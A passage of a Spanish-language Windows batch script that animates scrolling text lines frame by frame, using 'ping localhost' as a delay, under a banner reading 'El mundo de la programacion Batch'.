echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
call :PING
)
if %LINEA%==8 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
call :PING
)
if %LINEA%==9 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
call :PING
)
if %LINEA%==10 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
call :PING
)
if %LINEA%==11 (
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
call :PING
)
if %LINEA%==12 (
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
call :PING
)
if %LINEA%==13 (
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
call :PING
)
if %LINEA%==14 (
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
call :PING
)
if %LINEA%==15 (
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
call :PING
)
if %LINEA%==16 (
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
call :PING
)
if %LINEA%==17 (
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
call :PING
)
if %LINEA%==18 (
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
call :PING
)
if %LINEA%==19 (
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
call :PING
)
if %LINEA%==20 (
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
call :PING
)
if %LINEA%==21 (
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
call :PING
)
if %LINEA%==22 (
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
call :PING
)
if %LINEA%==23 (
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
call :PING
)
if %LINEA%==24 (
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
call :PING
)
if %LINEA%==25 (
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
call :PING
)
if %LINEA%==26 (
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
call :PING
)
if %LINEA%==27 (
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
call :PING
)
if %LINEA%==28 (
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
call :PING
)
if %LINEA%==29 (
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
call :PING
)
if %LINEA%==30 (
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
call :PING
)
if %LINEA%==31 (
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
call :PING
)
if %LINEA%==32 (
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
call :PING
)
if %LINEA%==33 (
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
call :PING
)
if %LINEA%==34 (
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
call :PING
)
if %LINEA%==35 (
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
call :PING
)
if %LINEA%==36 (
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==37 (
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==38 (
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==39 (
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==40 (
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==41 (
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==42 (
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==43 (
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==44 (
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==45 (
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==46 (
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==47 (
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==48 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)

:PING
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
echo. El mundo de la programacion Batch
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ


@ping localhost -n 2 >nul
if %LINEA%==48 goto :menu
goto :INICIO

:menu
cls
echo.
echo.
echo.
echo Dios provee de conocimientos al necesitado!!!
echo.
pause>nul